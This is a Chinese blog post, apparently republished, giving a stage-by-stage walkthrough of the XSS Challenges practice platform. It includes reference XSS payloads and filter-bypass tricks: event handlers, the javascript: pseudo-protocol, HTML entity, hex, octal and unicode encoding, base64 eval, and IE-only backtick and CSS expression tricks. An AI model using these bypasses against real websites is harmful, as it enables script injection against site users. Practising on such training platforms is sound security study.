XSS练习平台XSS Challenges

Posted forforever

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS练习平台XSS Challenges相关的知识,希望对你有一定的参考价值。

每个标题有超链的都是可以直接点击去做那一关,这样就用每次都从第一关开始做了。想做哪关做哪关。

以下来自XSS练习平台----XSS Challenges

这个练习平台没有像alert(1)to win类似的平台一样会给出关键的源代码,并且会在页面给予反馈。这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的f12中搜索(),找出我们控制的代码所在的位置,然后思考那些个位置哪个或哪几个位置可以被注入我们想要的代码,然后结合上下文进行各种脑洞绕过。

在chorme中做题会被防火墙检测为危险代码,解决方案

在chrome中搜索,在f12中的的Element中用Ctrl+Shift+f调出搜索框,可以搜索这个页面用到的所有文本资源的字符串,也可以在Source中先在左边选中对应的文件夹后,用Ctrl+f调出搜索框搜索当前文件字符串

在firefox的话,我用了firebug,直接选中html或CSS或脚本,然后在右上方搜索框搜索即可(选择脚本搜的最全)。

在IE的话,先选择调试程序,然后在右上方搜索框搜索即可。

(暂时知道那么多,还有什么补充的以后再更)

一般思路是测试,看哪些写法或字符被过滤了(单引号,双引号,尖括号,正反斜杠等等),然后构造攻击代码,另外一种方式就是去resources 中,去查看脚本,是哪个脚本执行了什么操作,让变量进入了标签,了解清楚了之后,可以对症下药的创造攻击向量。

闭合标签,只是JS伪协议(javascript:url),
含有JS伪协议的a标签,script代码,
事件(alert,onclick,onmouseover等等),
双写,编码绕过 base64编码eval() atob()函数,
html实体编码
unicode编码某个字符或者插入不可见字符&#09[是unicode编码后的tab],空格绕过(单词之中加空格),
16进制绕过(ascii码对应的16进制)

Stage #1

很简单,没有任何过滤,输出点在标签之间,闭合标签,构造新标签搞定。

参考payload:

dada"</b><script>alert(document.domain)</script>
dada"</b><svg/onload=alert(document.domain)>
dada"</b><IMG SRC=javascript:alert(‘XSS‘)>

技术图片

Stage #2

参考payload:

" onmouseover=alert(document.domain)>
"><script>alert(document.domain)</script>

技术图片

Stage #3

第一个被转义了,用第二个参数

参考payload:

"><script>alert(document.domain)</script>
<script>alert(document.domain)</script>

技术图片

技术图片

Stage #4

抓包尝试发现p1 p2都被过滤了 p3是隐藏的标签没被过滤

参考payload:

"><script>alert(document.domain)</script>
"><svg/onload=alert(document.domain)>%0a  

技术图片

技术图片

Stage #5

长度限制 抓包解决

参考payload:

dada"><script>alert(document.domain)</script>
dada" onmouseover=javascript:alert(document.domain)
dada" onmouseover=alert(document.domain)
dada"><svg/onload=alert(document.domain)>

技术图片

技术图片

Stage #6

与Stage#2几乎一样,也是value参数,唯一不同的是过滤了<>,但没有过滤"(可以闭合前面的属性),这样我们就不可以用新的标签了,但我们可以在标签里面加新的属性,如 " οnmοuseοver=alert(document.domain) name="1类似这样的,onmouseover是把鼠标放在上面就执行的on时间,onclick之类的也是可以的。

参考payload:

dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1

技术图片

技术图片

Stage #7

和上一题很像,这个题把双引号<>都过滤了

技术图片

参考payload:

test onmouseover=alert(document.domain)
但以下的也可以 不知道是不是浏览器原因
dada" onmouseover=alert(document.domain)
dada" onmouseover=alert(document.domain) name="1
dada" onclick=alert(document.domain) name="1

技术图片

但是从网上找到的却说是用的空格分割,也算误打误撞吧,

但是上面的payload只要加的双引号中间有空格隔开或者不让其紧挨着出现就可以成功,比如dada" onmouseover=alert(document.domain) " " "。后来看了别人的WP才学习到了,并不是转以后的双引号起了分隔作用,而是双引号后面的空格,空格也可以分隔属性(记住要在空格前面随便加点什么,否则bp提包的时候会自动将空格省略)

Stage #8

题目是输入一条url,然后后台把它包在一个标签里,我们需要点击超链接然后弹窗。所以可以用js伪协议

参考payload:

javascript:alert(document.domain)

技术图片

技术图片

Stage #9

这一关是利用utf-7编码的,需要环境是IE 7

我用了ie复现也是不能成功,留下个payload吧。

参考payload:

" onmouseover=alert(document.domain)>
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4- 

1.用可以识别UTF-7的IE浏览器

2.把抓包内容改成p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7

意思是我们提交UTF-7编码的py上去,然后浏览器UTF-7解码出利用py~~(我觉得出题者简直闲的蛋疼,不说现在没有利用utf-7的ie了,哪有什么网页的后台是只能解码utf-7的)

Stage #10

这个也是value注入点,直接在网页提交发现,题目把domain过滤掉了,所以用可以用双写绕过.

查看源代码,老是不小心看到提示:

s/script/xscript/ig;
s/on[a-z]+=/onxxx=/ig;
s/style=/stxxx=/ig;  

发现过滤了不少东西,

1,script会被替换为xscript 

2,on事件会被替换为onxxx

3,style会被替换为stxxx

尝试用tab制表(%09),换行(%0a,%0d,%0a%0d)等符号都不行。

参考payload:

双写绕过:"><script>alert(document.dodomainmain)</script>  
编码绕过:"><script>eval(atob(‘YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==‘))</script>

技术图片

Stage #11

也是value注入点,在网页中各种提交姿势试一下,发现script前面加个x,on事件全部不能用(题后看hint也证实了我的猜想)

想到除了on事件和script之外还能执行js的是构造a标签在超链中执行js

构造"><a href=javascript:alert(document)>1</a>< ,发现构造的语句中仍然有script,我们把之中的r进行html实体一下

技术图片

提交之后f12看下:

技术图片

发现被渲染成r了,成功弹窗。
(还可以在script中间插入&#09;&#10;,空格等不可见字符对script进行分割,让正则匹配不到)

参考payload:

"><a href=javascript:alert(document)>1</a><"
"><a href=javasc&#114;ipt:alert(document)>1</a><"
"><a href=java&#09;sc&#114;ipt:alert(document)>1</a><"  //&#09; tab制表符html十进制编码
"><a href=javascri&NewLine;pt&colon;alert(document.domain)>test</a> //&NewLine;是html5的换行符,&colon;是冒号

但是用url编码编码r即"><a href=javasc%72ipt:alert(document)>1</a><"查看后发现没有被渲染,但是弹窗,不知道为何。

Stage #12(IE)

利用IE特性`会呗当成单引号

照常尝试,还是value值,过滤了<>和",想用编码能不能绕过(因为过滤了<>",HTML实体是不行的,html实体不能让内容逃出来)

查看提示:

"s/[x00-x20<>"‘]//g;  

把x00-x20的字符与及<,>,",‘都替换为空。

想着还有什么能够替换空格呢?用 的话还是会没办法跳处value属性。

看了一下sherlock17 大佬的wp,发现了竟然还有一个符号,学到东西了。但是得在IE下才可以。

`  

由于IE的特性,或者说浏览器竞争时代百家争鸣导致的结果,会把`解析为引号。

技术图片

那么我们的payload可以是

``onmouseover=alert(1)  

在IE下成功弹框

技术图片

参考payload:

``onmouseover=alert(1)  

IE

Stage #13(IE)

条件IE7.0 6.0 因为expression语法只存在IE中

照常转义了<>和",F12发现相比以往的题这道题多了一个style属性,那肯定就是从这里入手了。百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)

技术图片

还有一种利用方法 background:url(javascript:alert(‘xss‘));

参考payload:

xss:expresion(alert(document.doamin))
background:url(javascript:alert(‘document.domain‘))
xss:expr/*XSS*/ession(alert(document.domain));

Stage #14(IE)

还是考的style的东西,但这次增加了过滤。可以用CSS注释/**/插入单词间,或html实体编码,但是&被转义了 。

s/(url|script|eval|expression)/xxx/ig; 

把url,script,eval,expression关键字都替换为了xxx。

解法就是寻找黑名单之外的关键字,但是我们发现其实我们可以直接用上面的那个payload:

xss:expr/*XSS*/ession(alert(document.domain));

Stage #15

<> " &被转义了 被过滤了,所以不能构造html实体,和unicode编码了,但是输入\\发现只过滤了一个,所以就用unicode编码了,(就是\\003c\\003e代替<>换成十六进制编码也就是\\x3c\\x3e也是可以的)

参考payload:

unicode 编码下面的payload
<svg/onload=alert(document.domain)>
x3csvgx2fonload=alert(document.domain)x3e  
因为会过滤一个 所以用:
\\x3csvg\\x2fonload=alert(document.domain)\\x3e

<script>alert(document.doamin)</script>同理
\\x3cscript\\x2falert=(document.doamin)\\x3c/script\\x2f

有几种方过滤的方法:(使用\\ 防止被转义)字符的ascii码值对应的16进制, x__ 16进制格式
第一种:换成16进制编码\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
第二种:换成Unicode编码\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
这个是uncode编码方式 解码道方式如下:
String a ="u003Cu0066u0072u006Fu006Du003E";
System.out.println(new String(a.getBytes(),"utf-8"));
结果:<from>

unicode解码:https://tool.chinaz.com/tools/unicode.aspx

技术图片

Stage #16

提示说

"document.write();" and "s/\\x/\\\\x/ig;  

\\x 替换成了\\\\x,但是js编码又不止16进制,还有八进制,unicode编码

看到又有document.write,试了试上题的利用代码,直接过了......看了下hint,发现是替换了x,那与上题唯一的区别就是十六进制编码不能用了。ps:还有一种编码格式是八进制编码?和unicode编码

参考payload:

\\74img src=x οnerrοr=alert(document.domain)\\76   8进制的
\\u003cimg src=x onerror=alert(document.domain)\\u003e  16进制的unicode

Stage #17(IE 6)

题目说了只能在老ie上复现,那我们就直接看大佬WP好了。

类似于sql注入的宽字节注入,用%A7(%几都行,只要符合下面大佬WP中可以用来欺骗的编码)加上双引号的%34?让html自解码机制误认为这是宽字节字符,从而弄掉双引号。

半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF

JIS X 0208字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE

JIS X 0212字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE

以上是百度找的,因为没有环境,所以没测试

Stage #18(IE 6)

看了一下别人的wp,17 18两关都是考的字符集的问题,且复现有浏览器要求需要在IE 6上复现。








以上是关于XSS练习平台XSS Challenges的主要内容,如果未能解决你的问题,请参考以下文章

XSS Challenges练习方法

XSS Challenges练习方法

xss challenges平台学习

XSS challenges 1-16

1.6 xss挑战平台练习

Pikachu漏洞练习平台实验——XSS